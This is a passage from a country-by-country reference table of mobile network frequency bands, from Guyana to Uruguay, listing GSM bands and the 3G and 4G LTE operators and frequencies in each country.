Guyana |  900  |  1800  |  |  | 3G 2100 Cellink Plus;3G 2100 Celstar; 3G 2100 Digicel;  
Haiti |  900  |  1800  |  |  850  | 3G 2100 NATCOM S.A. \(before Teleco\) ; 3G 2100 Digicel;   
Holy See \(Vatican City\) |  900  |  1800  |  |  | 3G 2100 TIM; 3G 2100 Vodafone; 3G 2100 WIND; 3G 2100 3; | 4G LTE Orange roaming;   
Honduras |  |  |  1900  |  850  | 3G 1900 Claro; 3G 850 CELTEL;  | 4G LTE Tigo Honduras;  
Hong Kong \(SAR\) |  900  |  1800  |  |  | 3G 2100 CSL Ltd; 3G 2100 HKT; 3G 900/2100 Hutchison; 3G 2100 SmarTone;  | 4G LTE HKT 1800/2600Mhz; 4G LTE Hutchison 1800/2600Mhz; 4G LTE SmarTone 1800Mhz;   
Hungary |  900  |  1800  |  |  | 3G 2100 Magyar T-Mobile; 3G 2100 Telenor; 3G 900/2100 Vodafone;  | 4G LTE Telenor 1800Mhz; 4G LTE Magyar T-Mobile 1800Mhz;  
Iceland |  900  |  1800  |  |  | 3G 2100 Vodafone; 3G 2100 NOVA; 3G 2100 Síminn;  | 4G LTE NOVA 1800Mhz; 4G LTE Síminn 1800Mhz;   
India |  900  |  1800  |  |  | 3G 1900/2100 AirTel; 3G 2100 Aircel; 3G 2100 BSNL; 3G 2100 BSNL; 3G 2100 MTNL; 3G 2100 Reliance; 3G 2100 Tata Docomo; 3G 2100 Vodafone;  | 4G LTE Bharti Airtel 2300Mhz; 4G LTE Aircel 2300Mhz; 4G LTE Videocon 1800Mhz- Planned; 4G LTE Tikona Digital - Planned; 4G LTE Reliance/Infotel Broadband - Planned; 4G LTE Augere- Planned; 4G LTE BSNL- Planned; 4G LTE MTNL 2300Mhz- Planned; 4G LTE Qualcomm India LTE Venture- Planned; 4G LTE Tata DoCoMo Teleservices- Planned; 4G LTE Vodafone Essar- Planned;   
Indonesia |  900  |  1800  |  |  | 3G 2100 TELKOMSEL; 3G 2100 Hutchison; 3G 2100 AXIS;  |  4G LTE Telkomsel 900/1800Mhz, planning 2300Mhz; 4G LTE XL Axiata 900/1800Mhz; 4G LTE Indosat Ooredoo 900/1800Mhz planning 2300Mhz; 4G LTE Bolt 2300Mhz; 4G LTE Smartfren 850/2300Mhz; 4G LTE Tri Indonesia planning 1800Mhz;   
Iran |  900  |  1800  |  |  | 3G 2100 MTN Irancell; 3G 2100 Tamin Telecom - Planned | 4G LTE MTN Irancell in Tehran, Uromiyeh, Babol, Tabriz, Qom, Karaj, Mashhad;   
Iraq |  900  |  |  |  | 3G MobiTel; 3G Asiacell; 3G Korek Telecom;  | 4G LTE Tishknet 2500Mhz- Planned; 4G LTE FastLink \(Regional Telecom and Alcatel-Lucent\)   
Ireland |  900  |  1800  |  |  | 3G 2100 Hutchison; 3G 2100 Telefonica; 3G 2100 Vodafone; | 4G LTE 3 1800Mhz; 4G LTE Meteor 800/1800Mhz; 4G LTE Vodafone 800Mhz;   
Isle of Man \(Mann\) |  900  |  1800  |  |  | 3G 2100 Manx; 3G 2100 Sure;  | 4G LTE Manx 1800Mhz;   
Israel |  900  |  1800  |  |  | 3G 850/2100 Cellcom; 3G 2100 Golan; 3G 2100 Hot Mobile; 3G 2100 Orange; 3G 850/2100 Pelephone;  | 4G LTE Cellcom 1800Mhz; 4G LTE Orange 1800/2600Mhz; 4G LTE Pelephone 1800Mhz;   
Italy |  900  |  1800  |  |  | 3G 900/2100 H3G ; 3G 2100 TIM; 3G 2100 Vodafone; 3G 2100 Wind;  | 4G LTE Vodafone 1800Mhz; 4G LTE TIM 800/1800/2600Mhz; 4G LTE 3 Italia 1800Mhz;   
Ivory Coast \(Cote d'Ivoire\) |  900  |  1800  |  |  |  | 4G LTE YooMee Africa; 4G LTE Orange 1800Mhz <img src='img/new2.gif' width='28' height='11' />  
Jamaica |  900  |  1800  |  1900  |  | 3G 2100 LIME; 3G 2100 Digicel; | 4G Digicel Mobile Network 850Mhz  
Japan |  |  |  |  | 3G 2100 DoCoMo; 3G 2100 SoftBank; 3G 1700 Ymobile;  | 4G LTE KDDI 1500Mhz; 4G LTE au 800/1500/2100Mhz; 4G LTE EMOBILE 1800Mhz; 4G LTE NTT Docomo 800/1500/1800/2100Mhz; 4G LTE SoftBank 2100/2500Mhz;  
Jersey \(U.K.\) |  900  |  1800  |  |  | 3G 2100 JT; 3G 2100 Airtel-Vodafone; 3G 1900/2100 Marathon; 3G 2100 Sure;  | 4G LTE JT;   
Jordan |  900  |  1800  |  |  | 3G 2100 Orange; 3G 2100 Umniah; 3G 2100 Zain;  | 4G LTE Zain JO 1800Mhz; 4G LTE Orange JO 1800Mhz; 4G LTE Umniah; 4G WiMAX \(Umniah Umax\);   
Kazakhstan |  900  |  |  |  | 3G 850 ALTEL; 3G 2100 Beeline; 3G 2100 K-Cell; 3G 2100 Tele2; | 4G LTE ALTEL 1800Mhz;  
Kenya |  900  |  1800  |  |  | 3G 2100 Airtel; 3G 2100 Orange; 3G 2100 Safaricom; | 4G LTE Safaricom 800/1800Mhz ; 4G LTE Orange testing; 4G LTE Airtel Kenya by the end of 2016 <img src='img/new2.gif' width='28' height='11' />;   
Kiribati |  900  |  |  |  | 3G 850 ? TSKL | 4G LTE Telecom Services Kiribati Ltd \(TSKL\) 700Mhz in Tarawa;   
Korea, North |  |  |  |  | 3G 2100 CHEO - Koryolink  
Korea, South |  |  |  |  | 3G 2100 KT Corporation; 3G 2100 SK Telecom;  | 4G LTE KT 900/1800/2100Mhz; 4G LTE SK Telecom 850/1800/2100Mhz; 4G LTE LG U+ 850/2100/2600Mhz;   
Kosovo |  900  |  |  |  | 3G Post and Telecom of Kosovo | 4G Ipko Net 2100Mhz- Planeed; 4G Vala 2100Mhz- Planeed;   
Kuwait |  900  |  1800  |  |  | 3G 1900 VIVA; 3G 2100 Zain; 3G 2100 K.S.C \(Ooredoo\);  | 4G LTE K.S.C \(Ooredoo\) 1800Mhz; 4G LTE Zain 1800Mhz;   
Kyrgyzstan |  900  |  1800  |  |  | 3G 900/2100 MEGACOM; 3G 2100 Beeline;  | 4G LTE Saima Telecom 2600Mhz; 4G LTE O\! 2600Mhz;   
La Desirade \(French West Indies\) |  900  |  |  |  |  | 4G LTE Orange roaming;  
Laos |  900  |  1800  |  |  | 3G 2100 ETL MOBILE; 3G 2100 Sky Telecom; 3G 2100 VimpelCom - Beeline;  | 4G LTE LaoTel; 4G LTE Beeline;   
Latvia |  900  |  1800  |  |  | 3G 900/2100 LMT; 3G 2100 Bite Latvija; 3G 2100 TELE2;  | 4G LTE LMT 1800/2600Mhz; 4G LTE TELE2 1800Mhz;  
Lebanon |  900  |  |  |  | 3G 2100 MIC1; 3G 2100 Alfa; 3G 2100 MIC2 - Touch;  | 4G LTE Alfa; 4G LTE Touch;   
Lesotho |  900  |  |  |  | 3G 2100 Vodacom Lesotho; | 4G LTE Econet Telecom Lesotho; 4G LTE Lesotho Vodacom; <img src='img/new2.gif' width='28' height='11' />  
Les Saintes \(French West Indies\) |  900  |  1800  |  |  |  | 4G LTE Orange roaming;  
Liberia |  900  |  1800  |  |  | 3G 2100 Cellcom; 3G 2100 Novafone; | 4G Cellcom HSPA+  
Libya |  900  |  |  |  | 3G Libyana 2100; | 4G LTE Al Jeel planning; LTE Committee chosen two vendors: Huawei, ZTE; <img src='img/new2.gif' width='28' height='11' />  
Liechtenstein |  900  |  1800  |  |  | 3G 2100 Mobilkom; 3G 2100 Orange; 3G 2100 Swisscom;  | 4G LTE Orange 1800/2600Mhz;  
Lithuania |  900  |  1800  |  |  | 3G 2100 Bite Lietuva; 3G 2100 Omnitel; 3G 2100 Tele2; | 4G LTE Omnitel 1800Mhz; 4G LTE TELE2 2600Mhz;  
Luxemburg |  900  |  1800  |  |  | 3G 2100 POST; 3G 2100 LOL Mobile; 3G 2100 Orange; 3G 2100 Tango;  | 4G LTE Orange 1800Mhz; 4G LTE POST 1800Mhz; 4G LTE Tango 1800Mhz;   
Macau \(SAR\) |  900  |  1800  |  |  | 3G 2100 CTM; 3G 900/2100 Hutchison; 3G 2100 SmarTone; | 4G LTE China Telecom Macau \(CTM\); 4G LTE 3Macau;   
Macedonia |  900  |  1800  |  |  | 3G 1900/2100 ONE; 3G 1900/2100 T-Mobile; 3G 900/2100 VIP Macedonia;  | 4G LTE T-Mobile 1800Mhz; 4G LTE VIP Macedonia 800Mhz;  
Madagascar |  900  |  1800  |  |  | 3G Telecom Malagasy \(Telma\) | 4G LTE Blueline; 4G LTE Telma; 4G LTE Orange 1800; <img src='img/new2.gif' width='28' height='11' />  
Malawi |  900  |  1800  |  |  | 3G Bharti Airtel 2100; | 4G LTE Access Communications; 4G LTE Tazca Connects; <img src='img/new2.gif' width='28' height='11' />  
Malaysia |  900  |  1800  |  |  | 3G 2100 Celcom; 3G 2100 DiGi; 3G 2100 Maxis 3G; 3G 2100 U Mobile;  | 4G LTE Celcom 1800/2600Mhz; 4G LTE DiGi 2600Mhz; 4G LTE Maxis 1800/2600Mhz; 4G LTE Telekom 850Mhz; 4G LTE U Mobile 2600Mhz;   
Maldives |  900  |  |  |  | 3G 2100 Ooredoo \(Wataniya\); 3G 2100 Dhiraagu; | 4G LTE Ooredoo \(Wataniya\) 2600Mhz; 4G LTE Dhiraagu 1800Mhz;   
Mali |  900  |  |  |  | 3G 2100 Orange;  
Malta |  900  |  1800  |  |  | 3G 900/2100 Melita Mobile; 3G 2100 Vodafone;  | 4G LTE Vodafone 1800Mhz;  
Marie-Galante \(French West Indies\) |  900  |  1800  |  |  |  | 4G LTE Orange roaming;  
Marshall Islands |  900  |  1800  |  |   
Martinique \(French West Indies\) |  900  |  1800  |  |  |  | 4G LTE Orange roaming;  
Mauritania |  900  |  1800  |  |  | 3G 2100 Chinguitel; 3G 2100 MATTEL; 3G 2100 Mauritel;  
Mauritius |  900  |  |  |  | 3G 2100 Emtel; | 4G LTE Orange 1800Mhz; 4G LTE Emtel 1800Mhz; 4G LTE MTML <img src='img/new2.gif' width='28' height='11' /> ;   
Mayotte |  900  |  1800  |  |  |  | 4G LTE Orange roaming;  
Mexico |  |  |  1900  |  850  | 3G 1700/2100 Nextel Mexico; 3G 850/1900 Iusacell; 3G 850/1900 TELCEL;  | 4G LTE Telcel 1700Mhz; 4G LTE Movistar 1700Mhz;  
Micronesia |  900  |  |  |  | FSM Telecommunications- Planned;   
Moldova |  900  |  |  |  | 3G 1900/2100 MoldTelekom;  | 4G LTE Moldcell 2600Mhz; 4G LTE Orange 2600Mhz; 4G LTE Interdnestrcom 800Mhz;   
Monaco |  900  |  |  |  | 3G 2100 Monaco Telecom | 4G LTE Monaco Telecom 800/2600Mhz;   
Mongolia |  900  |  1800  |  |  | 3G 1900/2100 G-Mobile; 3G 2100 MobiCom; 3G 2100 SKYTEL; 3G 2100 Unitel;  | approval for 4G LTE Mobicom;   
Montenegro |  900  |  1800  |  |  | 3G 2100 Crnogorski \(Telekom.me\); 3G 2100 MTEL; 3G 2100 Telenor;  | 4G LTE Telenor 1800Mhz; 4G LTE Telekom.me 1800Mhz; 4G LTE T-Mobile 1800/2600Mhz;   
Montserrat |  |  |  |  850   
Morocco |  900  |  1800  |  |  | 3G 2100 Itissalat Al-Maghrib; 3G 2100 Meditel; 3G 2100 Inwi;  | 4G LTE Maroc Telecom; 4G LTE Orange/Meditel 1800Mhz; 4G LTE INWI \(Wana\) <img src='img/new2.gif' width='28' height='11' />  
Mozambique |  900  |  1800  |  |  | 3G 2100 Mozambique Celular \(mcel\); 3G 2100 Movitel; 3G 2100 Vodacom;   
Myanmar \(Burma\) |  900  |  |  |  | 3G 900/2100 Ooredoo ; 3G Telenor Myanmar | 4G LTE MPT \(temp. in Yangon, Mandalay, Naypyitaw, Ngwe Saung beach\) ?  
Namibia |  900  |  1800  |  |  | 3G 2100 Telecom Namibia; | 4G LTE MTC Namibia 1800Mhz; 4G LTE TN Mobile 1800Mhz;   
Nauru |  900  |  1800  |  |  | 3G 2100 DIGICEL;   
Nepal |  900  |  1800  |  |  | 3G 2100 Ncell; 3G 2100 Nepal Telecom;  | 4G LTE Airspan ?; 4G LTE Nepal Telecom planning;  
Netherlands |  900  |  1800  |  |  | 3G 900/2100 KPN ; 3G 900/2100 T-Mobile; 3G 2100 Vodafone;  | 4G LTE KPN 800 \(band 20\)/1800 \(Band 3\)/2600Mhz \(Band 7\); 4G LTE Vodafone 800 \(band 20\)/1800 \(Band 3\)/2600Mhz \(Band 7\); 4G LTE Tele2 800 \(band 20\)/2600Mhz \(Band 7\); 4G LTE T-Mobile 900 \(band 8\)/1800 \(Band 3\)/2600Mhz \(Band 7\)   
Netherlands Antilles |  900  |  1800  |  |  | 3G 1900/2100 Telbo;   
New Caledonia |  900  |  |  |  | 3G 2100 MOBILIS;   
New Zealand |  900  |  1800  |  |  | 3G 850/2100 Telecom; 3G 2100 Vodafone; | 4G LTE Vodafone 700/1800Mhz; 4G LTE Spark 700/1800Mhz; 4G LTE 2degrees 1800Mhz;   
Nicaragua |  |  |  1900  |  850  | 3G 850 CLARO; 3G 850/1900 Movistar;  | 4G Yota WiMAX   
Niger |  900  |  1800  |  |   
Nigeria |  900  |  1800  |  |  | 3G 2100 AirtelNG; 3G 2100 Glo Mobile; 3G 2100 Etisalat; 3G 2100 MTN;  |  4G LTE Smile 800Mhz; 4G LTE Spectranet 2300Mhz; 4G LTE Swift; 4G LTE Airtel finished testing in Lagos, Abuja <img src='img/new2.gif' width='28' height='11' />; 4G LTE Globacom ; 4G LTE Bitflux ; <img src='img/new2.gif' width='28' height='11' />; 4G LTE NITEL ; <img src='img/new2.gif' width='28' height='11' />;   
Niue |  900  |  |  |   
Norfolk Island |  900  |  |  |   
Northern Mariana Islands |  |  |  1900  |  850  | 3G DoCoMo Pacific in Saipan; IT&E Northern Mariana Islands; iConnect \(Buddy\) in 2016;  
Norway |  900  |  1800  |  |  | 3G 2100 Mobile Norway; 3G 2100 Telenor; 3G 2100 TeliaSonera \(NETCOM\);  | 4G LTE TeliaSonera 800/1800/2600Mhz; 4G LTE Telenor 800/1800/2600Mhz; 4G LTE Tele2 1800Mhz;   
Oman |  900  |  |  |  | 3G 900 Nawras; 3G 2100 Oman Mobile; | 4G LTE Omantel 1800/2300Mhz; 4G LTE Nawras 1800Mhz;   
Pakistan |  900  |  1800  |  |  | 3G 2100 Mobilink; 3G 2100 Telenor; 3G 2100 Ufone; 3G 2100 Zong;  | 4G LTE Zong 1800Mhz ; 4G LTE Warid Telecom 1800Mhz ;   
Palau |  900  |  1800  |  |   
Panama |  |  |  1900  |  850  | 3G 850 Cable & Wireless Panama; 3G 2100 Movistar; 3G 2100 Claro; 3G 2100 Digicel;  | 4G LTE Claro   
Papua New Guinea |  900  |  |  |  | 3G 900 Digicel PNG;  | 4G Digicel 700Mhz;  
Paraguay |  |  |  1900  |  850  | 3G 850/1900 Personal; 3G 1900 Claro; 3G 850 Tigo;  | 4G Personal 1900Mhz; 4G Copaco 1700Mhz;   
Peru |  |  |  1900  |  850  | 3G 850 Claro; 3G 1900 Nextel Peru; 3G 850 Movistar Peru;  | 4G LTE Movistar 1700Mhz; 4G LTE Claro 1900Mhz;   
Philippines |  900  |  1800  |  |  | 3G 2100 Digitel; 3G 2100 Globe; 3G 850/2100 Smart;  | 4G LTE Globe 1800Mhz; 4G LTE Smart 850/1800/2100Mhz; 4G LTE PLDT;   
Pitcairn Islands | Pitcairn Telecom Network is connected via satellite to New Zealand. All houses on island are currently connected to the Internet and to an international phone system \(New Zealand phone numbers\). There are no cell phone reception.   
Poland |  900  |  1800  |  |  | 3G 900/2100 Orange; 3G 2100 P4; 3G 2100 Plus; 3G 900/2100 T-Mobile;  | 4G LTE Orange 1800Mhz; 4G LTE P4 1800Mhz; 4G LTE T-Mobile 1800Mhz; 4G LTE Polkomtel 1800Mhz; 4G LTE Aero2 1800/2600Mhz;   
Portugal |  900  |  1800  |  |  | 3G 2100 MEO; 3G 2100 OPTIMUS; 3G 2100 Vodafone;  | 4G LTE MEO 800/1800/2600Mhz; 4G LTE NOS 800/1800/2600Mhz; 4G LTE Vodafone 800/1800/2600Mhz;   
Puerto Rico |  |  |  1900  |  850  | 3G 850/1900 Claro; 3G 850/1900 AT&T; 3G 1700 T-Mobile;  | 4G LTE Open Mobile 700Mhz; 4G LTE AT&T 700/1700Mhz; 4G LTE Claro 700Mhz; 4G LTE Sprint 1900Mhz; 4G LTE T-Mobile 1700Mhz;   
Qatar |  900  |  1800  |  |  | 3G 900/2100 Ooredoo QSC; 3G 2100 Vodafone Qatar;  | 4G LTE Ooredoo Qatar 800/2600Mhz; 4G LTE Vodafone Qatar 800/1800Mhz;   
Reunion |  900  |  1800  |  |  | 3G 2100 Orange Reunion;  | 4G LTE Orange roaming;  
Romania |  900  |  1800  |  |  | 3G 2100 COSMOTE; 3G 2100 Orange; 3G 2100 Digi.Mobil; 3G 2100 ZAPP; 3G 900/2100 Vodafone;  | 4G LTE COSMOTE 1800Mhz; 4G LTE Orange 800/1800/2600Mhz; 4G LTE Vodafone 800/1800 / 2600 \(planned\) Mhz; <img src='img/new2.gif' width='28' height='11' /> 4G LTE 2K Telecom \(T-Mobile\) 1800/ 2600Mhz \(planned\); 4G LTE Digi.Mobil 2600Mhz  
Russia |  900  |  1800  |  |  | 3G 2100 MegaFon; 3G 2100 MTS; 3G 2100 Beeline; 3G 2100 BaykalWestCom; | 4G LTE MegaFon 800/2500/2600Mhz; 4G LTE Beeline 2600Mhz; 4G LTE MTS 800/2600Mhz; 4G LTE Rostelecom 2600Mhz; 4G LTE Tattelecom 1800Mhz; 4G LTE Vainakh Telecom 2300Mhz;   
Rwanda |  900  |  1800  |  |  | 3G 2100 MTN Rwandacell; 3G 2100 Tigo Rwanda; 3G 2100 Airtel Rwanda - Planned;  | 4G LTE Tigo <img src='img/new2.gif' width='28' height='11' />; 4G LTE Olleh Rwanda 800/1800Mhz  
Saba \(Netherlands\) |  900  |  |  |  |  | 4G LTE UTS Eastern Caribbean ?  
Saint Barthelemy \(French West Indies\) |  900  |  1800  |  |  |  | 4G LTE UTS Eastern Caribbean ?  
Saint Helena | Sure South Atlantic \(September 2015\) - 2G GSM layer and 4G LTE layer to support data <img src='img/new2.gif' width='28' height='11' />  
Saint Kitts and Nevis |  900  |  1800  |  1900  |  850  | 3G 2100 Digicel; | 4G LTE Digicel  
Saint Lucia |  900  |  1800  |  1900  |  850   
Saint Martin \(French West Indies\) |  900  |  1800  |  |  |  | 4G LTE UTS Eastern Caribbean ?  
Saint Pierre and Miquelon |  900  |  |  |  |  | 4G LTE Orange roaming;  
Saint Vincent and the Grenadines |  900  |  1800  |  |  850  | 3G 2100 Digicel;  
Samoa |  900  |  |  |  | 3G 900 Bluesky Samoa; 3G 900/2100 Digicel Samoa;  | 4G LTE NetVo Samoa/Tazca Connects \(in Upolu\);   
San Marino |  900  |  1800  |  |  | 3G 2100 PRIMA;   
Sao Tome and Príncipe |  900  |  |  |  | 3G 900/1900/2100 Unitel STP;   
Saudi Arabia |  900  |  1800  |  |  | 3G 2100 Etihad Etisalat \(Mobily\); 3G 2100 Zain; 3G 2100 Saudi Telecom \(STC\);  | 4G LTE Mobily 1800/2600Mhz; 4G LTE STC 1800/2300Mhz; 4G LTE Zain 1800/2100Mhz;   
Senegal |  900  |  1800  |  |  | 3G 2100 Expresso Senegal; 3G 2100 Tigo; 3G 2100 Orange;  | 4G LTE Sonatel \(Orange\) end of testing; 4G LTE Tigo end of testing <img src='img/new2.gif' width='28' height='11' />;  
Serbia |  900  |  1800  |  |  | 3G 2100 Telekom Srbija; 3G 2100 Telenor; 3G 2100 Vip;  | 4G LTE Telenor Serbia \(Belgrade, Subotica, Kopaonik, Zlatibor\)   
Seychelles |  900  |  |  |  | 3G 2100 Airtel Seychelles;   
Sierra Leone |  900  |  1800  |  |  | 3G 2100 SMART; 3G 900 Africell; 3G 900 Airtel;   
Singapore |  900  |  1800  |  |  | 3G 2100 M1 Limited; 3G 900/2100 SingTel; 3G 2100 StarHub;  | 4G LTE SingTel 900 /1800/2600Mhz; 4G LTE M1 Limited 1800/2600Mhz; 4G LTE StarHub1800/2600Mhz;  
Sint Eustatius \(Netherlands\) |  900  |  |  |  |  | 4G LTE UTS Eastern Caribbean ?  
Sint Maarten \(Netherlands\) |  900  |  1800  |  |  |  | 4G LTE UTS Eastern Caribbean ?  
Slovakia |  900  |  1800  |  |  | 3G 2100 O2 Slovakia; 3G 2100 Orange; 3G 2100 Telekom;  | 4G LTE Telekom 800/1800/2600Mhz; 4G LTE Orange 800/2600Mhz; 4G LTE O2 Slovakia 1800Mhz; upcoming 4G LTE SWAN   
Slovenia |  900  |  1800  |  |  | 3G 2100 Si.Mobil; 3G 2100 T-2; 3G 2100 MOBITEL; 3G 900/2100 Tusmobil;  | 4G LTE Si.mobil 800/1800Mhz; 4G LTE Telekom Slovenije \(MOBITEL\) 800/1800Mhz;   
Solomon Islands |  900  |  1800  |  |  | 3G 2100 Telekom Breeze; 3G Bemobile Solomon Islands;   
Somalia |  900  |  1800  |  |  | 3G 2100 Shiraa; 3G 2100 Somnet;  | 4G LTE Telcom Alcatel-Lucent; 4G LTE Somcable <img src='img/new2.gif' width='28' height='11' />;   
South Africa |  900  |  1800  |  |  | 3G 2100 Cell C; 3G 900/2100 MTN-SA; 3G 2100 Telkom; 3G 2100 VodaCom; |  4G LTE VodaCom 1800Mhz; 4G LTE MTN-SA 1800Mhz; 4G LTE Neotel 1800Mhz; 4G LTE Telkom-8ta 2300Mhz; 4G LTE Cell C;   
South Sudan |  900  |  1800  |  |  | 3G 2100 MTN South Sudan; 3G 2100 Zain South Sudan;  | 4G WiMAX Airspan Contract ?; 4G LTE Zain ?  
South Georgia and the South Sandwich Islands |  |  |  |   
Spain |  900  |  1800  |  |  | 3G 2100 Orange Espagne; 3G 2100 Movistar; 3G 2100 Vodafone; 3G 2100 Yoigo;  | 4G LTE Vodafone 1800/2600Mhz; 4G LTE Movistar 2600Mhz; 4G LTE Orange 1800/2600Mhz; 4G LTE COTA - Murcia4G 1800/2600Mhz; 4G LTE Yoigo 1800Mhz;   
Sri Lanka |  900  |  1800  |  |  | 3G 2100 Bharti Airtel Lanka; 3G 2100 Dialog; 3G 2100 Etisalat; 3G 2100 Hutchison ; 3G 2100 Mobitel;  | 4G LTE Dialog 1800/2300Mhz; 4G LTE Mobitel 1800Mhz; 4G LTE Sri Lanka Telecom 2300Mhz; 4G LTE Lanka Bell 2300Mhz;   
Sudan |  900  |  1800  |  |  | 3G 2100 MTN Sudan; 3G 2100 Zain;  | 4G LTE Zain Sudan \(in Khartoum, Medani, Port Sudan, El Obeid\)<img src='img/new2.gif' width='28' height='11' />  
Suriname |  900  |  1800  |  |  | 3G 800/850/2100 TELESUR.GSM | 4G LTE; 4G LTE Telesur;   
Swaziland |  900  |  |  |  | 3G 2100 MTN Swaziland;   
Sweden |  900  |  1800  |  |  | 3G 2100 Hi3G Access; 3G 2100 Tele2 - TeliaSonera; 3G 2100 Telenor Sverige; 3G 2100 TeliaSonera - COMVIQ;  | 4G LTE TeliaSonera 800/2600Mhz; 4G LTE Telenor Sverige 800//900/1800/2600Mhz; 4G LTE Tele2 800/900/1800/2600Mhz;   
Switzerland |  900  |  1800  |  |  | 3G 2100 Orange; 3G 2100 Sunrise; 3G 2100 Swisscom;  | 4G LTE Swisscom 800/1800/2600Mhz; 4G LTE Orange 800/1800/2600Mhz; 4G LTE Sunrise 800/1800/2600Mhz;   
Syria |  900  |  1800  |  |  | 3G 2100 MTN Syria; 3G 2100 Syriatel;  
Taiwan |  900  |  1800  |  |  | 3G 2100 Chunghwa; 3G 2100 Far EasTone; 3G 2100 Taiwan Mobile; 3G 2100 VIBO;  | 4G LTE Chunghwa 1800Mhz; 4G LTE FarEasTone 700Mhz; 4G LTE Taiwan Star Telecom 900Mhz; 4G LTE Taiwan Mobile 700/1800Mhz;   
Tajikistan |  900  |  1800  |  |  | 3G 2100 Babilon-M; 3G 2100 TCELL; 3G 2100 MegaFon; 3G 2100 BEELINE;  | 4G LTE Babilon-M 1800/2100Mhz; 4G LTE TCELL 800Mhz;   
Tanzania |  900  |  1800  |  |  | 3G 2100 Airtel Tanzania; 3G 2100 Tigo; 3G 2100 Vodacom;  |  4G LTE Smile Tanzania - Vodacom 800Mhz; 4G LTE Tigo <img src='img/new2.gif' width='28' height='11' />; 4G LTE Smart Telecom; 4G LTE TTCL <img src='img/new2.gif' width='28' height='11' /> ; 4G LTE Zantel in Zanzibar<img src='img/new2.gif' width='28' height='11' /> ;   
Thailand |  900  |  1800  |  |  | 3G 850 CAT Telecom; 3G 2100 Real Future; 3G 2100 TOT Mobile; 3G 850/2100 True Move; 3G 2100 DTAC TriNet- Planned; 3G 2100 AIS- Planned;  | 4G LTE True Move 2100Mhz; 4G LTE DTAC TriNet 2100Mhz; ; AIS + TOT 4G Trail  
Timor-Leste \(East Timor\) |  900  |  1800  |  |  850 Planned | Timor Telecom; Telkomcel; Viettel-Planned; 3G 2100 PT Telekomunikasi Indonesia- Planned  
Togo |  900  |  |  |  | 3G 2100 TogoCel Togo;  | 4G LTE TogoCel; <img src='img/new2.gif' width='28' height='11' />  
Tokelau | Tokelau has a radio telephone service between the islands and to Samoa. There is very limited internet service \(Tokelau Internet Corner\) , few phone lines and one satellite. Kacific Broadband Satellites Pte Ltd plans to provide satellite coverage to the majority of the Pacific island nations, including Tokelau.   
Tonga |  900  |  |  |  | TCC 3G   
Trinidad and Tobago |  |  1800  |  1900  |  850  | 3G 2100 Digicel;  | 4G HSPA+ bmobile   
Tunisia |  900  |  1800  |  |  | 3G 2100 Orange Tunisie; 3G 900/2100 Tunisiana; 3G 2100 Tunisie;  | 4G LTE Ooredoo <img src='img/new2.gif' width='28' height='11' /> ; 4G LTE Tunisie Telecom ; 4G LTE Orange Tunisia <img src='img/new2.gif' width='28' height='11' />;  
Turkey |  900  |  1800  |  |  | 3G 2100 Turkcell; 3G 2100 Vodafone;  | 4G LTE Turkcell; 4G LTE Vodafone; 4G LTE Turk Telekom \(Avea\);  
Turkmenistan |  900  |  1800  |  |  | 3G 2100 MTS Turkmenistan; | 4G LTE Altyn Asyr/MTS in Ashgabat and Turkmenbashi;   
Turks and Caicos Islands |  900  |  1800  |  1900  |  850  | 3G 850 Islandcom; | 4G LTE Digicel Turks & Caicos 700Mhz; 4G LTE LIME ;   
Tuvalu |  900  | GSM 900 Tuvalu Telecom. Tuvalu Telecommunications Corporation \(TTC\) provides traditional land line phone service and mobile phone services on Funafuti, Vaitupu and Nukulaelae. Tuvalu ISP is the sole provider of Internet access in Tuvalu.   
Uganda |  900  |  1800  |  |  | 3G 900 MTN-UGANDA; 3G 2100 Uganda Telecom; 3G 2100 Orange; 3G 2100 Airtel;  | 4G LTE MTN 2600Mhz; 4G LTE Orange 800Mhz; 4G LTE Smile 800Mhz; 4G LTE Vodafone <img src='img/new2.gif' width='28' height='11' />;   
Ukraine |  900  |  1800  |  |  | 3G 2100 TriMob; 3G 2100 Kyivstar; 3G 2100 Life; 3G 2100 MTS;   
United Arab Emirates |  900  |  1800  |  |  | 3G 2100 du UAE; 3G 2100 ETISALAT;  | 4G LTE du UAE 1800Mhz; 4G LTE ETISALAT 1800/2600Mhz;   
United Kingdom |  900  |  1800  |  |  | 3G 2100 Orange; 3G 2100 Everything Everywhere \(T-Mobile\); 3G 2100 Hutchison \(3\); 3G 900 /2100 O2; 3G 2100 Vodafone; | 4G LTE Hutchison \(3\) 800/1800Mhz; 4G LTE EE \(T-Mobile\) 1800/2600Mhz; 4G LTE O2 800Mhz; 4G LTE Vodafone 800Mhz; 4G LTE UK Broadband \(UKB\) 3500/3600Mhz; 4G LTE BT 2600Mhz- Planned;   
United States \(USA\) |  |  |  1900  |  850  | 3G 850/1900 Verizon; 3G 1700/2100 T-Mobile USA; 3G 850/1900 AT&T; 3G 800/1900 Sprint; 3G 800/1900 boost; 3G 1700/2100 MetroPCS; 3G 1700/2100 VTel Wireless; 3G 1900 Alaska Wireless; 3G 1700/2100 New Mexico RSA; 3G 1700/2100 Iowa Wireless; 3G 850 Cordova Wireless; 3G 1700/2100 Cincinnati Bell; 3G 1700/2100 CTC Telcom; 3G 1700/2100 Big River;  | 4G LTE Verizon 700/850/1700/2100Mhz; 4G LTE T-Mobile USA 700/1700/2100Mhz; 4G LTE AT& T 700/850/1700/1900Mhz; 4G LTE Sprint 800/1900/2500Mhz; 4G LTE boost 800/1900Mhz; 4G LTE MetroPCS 700/1700/2100Mhz; 4G LTE NewCore Wireless 1900Mhz; 4G LTE SRT Wireless 1900Mhz; 4G LTE U.S. Cellular 700/850/1900/2100Mhz; 4G LTE Adams Networks 700Mhz; 4G LTE AlaskaComm / GCI 1700Mhz; 4G LTE Big River Broadband 1700Mhz; 4G LTE Bluegrass Cellular 700Mhz; 4G LTE C Spire 1700/1900Mhz; 4G LTE Colorado Valley 700Mhz; 4G LTE ETC 700Mhz; 4G LTE Evolve Broadband 700Mhz; 4G LTE Fuego Wireless 700Mhz; 4G LTE miSpot 700Mhz; 4G LTE Mosaic Telecom 700/1700Mhz; 4G LTE Nex-Tech Wireless 700Mhz; 4G LTE Nortex 700Mhz; 4G LTE nTelos 1900Mhz; 4G LTE PTCI 700Mhz; 4G LTE Peoples Telephone Cooperative 700Mhz; 4G LTE Space Data Corporation 1700Mhz; 4G LTE Syringa 700Mhz4G LTE United Wireless 700Mhz; 4G LTE VTel 700Mhz;   
Uruguay |  900  |  1800  |  1900  |  850  | 3G 2100 Ancel; 3G 1900 Movistar; 3G 1900 Claro; | 4G LTE ANTEL 1700Mhz; 4G LTE Claro 1700Mhz;  
